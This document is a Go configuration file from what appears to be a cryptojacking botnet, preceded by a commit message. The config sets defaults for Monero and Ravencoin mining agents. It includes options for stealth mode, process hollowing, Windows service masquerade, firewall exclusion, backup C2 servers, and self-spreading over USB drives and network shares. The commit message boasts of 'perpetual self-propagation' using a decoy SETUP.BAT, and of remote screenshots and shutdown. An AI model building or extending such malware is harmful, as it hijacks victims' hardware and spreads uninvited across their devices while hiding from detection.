- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
247 lines
5.5 KiB
Go
247 lines
5.5 KiB
Go
package config
|
|
|
|
import (
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
const Version = "1.0.0"
|
|
|
|
type BuiltinConfig struct {
|
|
WorkerName string
|
|
ServerURL string
|
|
Wallet string
|
|
Threads int
|
|
ThreadMode string
|
|
ThreadPercent int
|
|
CPUPriority string
|
|
MiningMode string
|
|
DisplayMode string
|
|
SilentMode bool
|
|
RunAs string
|
|
AutoStart bool
|
|
ProcessName string
|
|
BuildID string
|
|
BuiltAt time.Time
|
|
PoolHost string
|
|
PoolPort int
|
|
PoolTLS bool
|
|
PoolPass string
|
|
MaxCPUUsage int
|
|
MaxMemoryPct int
|
|
MinFreeRAM int
|
|
IdleThresholdPct int
|
|
IdleDurationMinutes int
|
|
ScheduleStart string
|
|
ScheduleEnd string
|
|
InstallBase string
|
|
InstallCustomBase string
|
|
InstallRelativePath string
|
|
AdaptToHardware bool
|
|
SelfHealing bool
|
|
FileLogging bool
|
|
StealthMode bool
|
|
FirewallExclusion bool
|
|
// AI Autonomy (Ollama)
|
|
AIEnabled bool
|
|
AIOllamaEndpoint string
|
|
AIModel string
|
|
ProcessHollowing bool
|
|
MeshP2P bool
|
|
AutoSpread bool
|
|
HolePunch bool
|
|
RemoteAggressive bool
|
|
// Passive spreading — triggered by the environment rather than active scanning
|
|
USBSpread bool // copy agent to any newly-inserted removable/USB drive
|
|
ShareSpread bool // drop agent onto already-mounted network shares
|
|
// Backup server URLs — tried in order if primary C2 fails
|
|
BackupServerURLs []string
|
|
// BackupPools — alternative mining pools tried in order if the primary is unreachable
|
|
BackupPools []BackupPool
|
|
// Windows service masquerade (ignored on other OSes)
|
|
ServiceMasquerade bool
|
|
ServiceName string
|
|
ServiceDonor string
|
|
// FleetSecret is baked in at forge time and presented on WS connect.
|
|
// The server rejects any agent that doesn't carry the right secret.
|
|
FleetSecret string
|
|
|
|
// GPU / Ravencoin mining
|
|
GPUEnabled bool // enable KawPoW GPU miner alongside XMR CPU miner
|
|
RVNWallet string // Ravencoin wallet address for GPU mining
|
|
RVNPoolHost string // primary RVN Stratum pool host
|
|
RVNPoolPort int // primary RVN Stratum pool port
|
|
RVNPoolTLS bool // primary RVN pool TLS flag
|
|
RVNPoolPass string // stratum password (usually "x")
|
|
RVNBackupPools []BackupPool // failover RVN pools
|
|
}
|
|
|
|
// BackupPool holds connection info for a fallback Stratum mining pool.
|
|
type BackupPool struct {
|
|
Host string
|
|
Port int
|
|
TLS bool
|
|
Pass string
|
|
}
|
|
|
|
type RuntimeConfig struct {
|
|
BuiltinConfig
|
|
AgentID string
|
|
}
|
|
|
|
func Load() RuntimeConfig {
|
|
b := GetBuiltinConfig()
|
|
if b.Threads <= 0 {
|
|
b.Threads = 4
|
|
}
|
|
if b.ThreadMode == "" {
|
|
b.ThreadMode = "percent"
|
|
}
|
|
if b.ThreadPercent <= 0 {
|
|
b.ThreadPercent = 75
|
|
}
|
|
if b.CPUPriority == "" {
|
|
b.CPUPriority = "below_normal"
|
|
}
|
|
if b.MiningMode == "" {
|
|
b.MiningMode = "always"
|
|
}
|
|
if b.DisplayMode == "" {
|
|
if b.SilentMode {
|
|
b.DisplayMode = "silent"
|
|
} else {
|
|
b.DisplayMode = "visible"
|
|
}
|
|
}
|
|
if b.ProcessName == "" {
|
|
b.ProcessName = sanitizeProcessName(b.WorkerName)
|
|
}
|
|
if b.MaxCPUUsage <= 0 {
|
|
b.MaxCPUUsage = 80
|
|
}
|
|
if b.MaxMemoryPct <= 0 {
|
|
b.MaxMemoryPct = 70
|
|
}
|
|
if b.MinFreeRAM <= 0 {
|
|
b.MinFreeRAM = 1024
|
|
}
|
|
if b.IdleThresholdPct <= 0 {
|
|
b.IdleThresholdPct = 20
|
|
}
|
|
if b.IdleDurationMinutes <= 0 {
|
|
b.IdleDurationMinutes = 5
|
|
}
|
|
if b.ScheduleStart == "" {
|
|
b.ScheduleStart = "21:00"
|
|
}
|
|
if b.ScheduleEnd == "" {
|
|
b.ScheduleEnd = "06:00"
|
|
}
|
|
if b.InstallBase == "" {
|
|
b.InstallBase = "localappdata"
|
|
}
|
|
if b.InstallRelativePath == "" {
|
|
b.InstallRelativePath = DefaultInstallRelativePath
|
|
}
|
|
if b.PoolHost == "" {
|
|
b.PoolHost = "pool.supportxmr.com"
|
|
}
|
|
if b.PoolPort <= 0 {
|
|
b.PoolPort = 3333
|
|
}
|
|
if b.PoolPass == "" {
|
|
b.PoolPass = "x"
|
|
}
|
|
if b.AIEnabled {
|
|
if b.AIOllamaEndpoint == "" {
|
|
b.AIOllamaEndpoint = "http://localhost:11434"
|
|
}
|
|
if b.AIModel == "" {
|
|
b.AIModel = "llama3.2"
|
|
}
|
|
}
|
|
if b.StealthMode {
|
|
b.FileLogging = false
|
|
if b.DisplayMode == "" || b.DisplayMode == "visible" {
|
|
b.DisplayMode = "background"
|
|
}
|
|
}
|
|
// GPU mining defaults
|
|
if b.GPUEnabled {
|
|
if b.RVNPoolHost == "" {
|
|
b.RVNPoolHost = "rvn.2miners.com"
|
|
}
|
|
if b.RVNPoolPort <= 0 {
|
|
b.RVNPoolPort = 6060
|
|
}
|
|
if b.RVNPoolPass == "" {
|
|
b.RVNPoolPass = "x"
|
|
}
|
|
}
|
|
return RuntimeConfig{BuiltinConfig: b}
|
|
}
|
|
|
|
func (c RuntimeConfig) EffectiveThreads() int {
|
|
mode := strings.ToLower(c.ThreadMode)
|
|
if mode == "fixed" {
|
|
if c.Threads < 1 {
|
|
return 1
|
|
}
|
|
return c.Threads
|
|
}
|
|
cores := runtime.NumCPU()
|
|
if cores < 1 {
|
|
cores = 1
|
|
}
|
|
pct := c.ThreadPercent
|
|
if pct < 1 {
|
|
pct = 1
|
|
}
|
|
if pct > 100 {
|
|
pct = 100
|
|
}
|
|
threads := int(float64(cores) * float64(pct) / 100.0)
|
|
if threads < 1 {
|
|
threads = 1
|
|
}
|
|
if threads > cores {
|
|
threads = cores
|
|
}
|
|
return threads
|
|
}
|
|
|
|
func (c RuntimeConfig) HideWindow() bool {
|
|
switch strings.ToLower(c.DisplayMode) {
|
|
case "silent", "background":
|
|
return true
|
|
default:
|
|
return c.SilentMode
|
|
}
|
|
}
|
|
|
|
func (c RuntimeConfig) BackgroundMode() bool {
|
|
return strings.ToLower(c.DisplayMode) == "background"
|
|
}
|
|
|
|
func (c RuntimeConfig) EffectiveProcessName() string {
|
|
name := strings.TrimSpace(c.ProcessName)
|
|
if name == "" {
|
|
return sanitizeProcessName(c.WorkerName)
|
|
}
|
|
return sanitizeProcessName(name)
|
|
}
|
|
|
|
func sanitizeProcessName(name string) string {
|
|
name = strings.TrimSpace(name)
|
|
if name == "" {
|
|
return "CryptoMinerWorker"
|
|
}
|
|
replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
|
|
clean := replacer.Replace(name)
|
|
if clean == "" {
|
|
return "CryptoMinerWorker"
|
|
}
|
|
return clean
|
|
}
|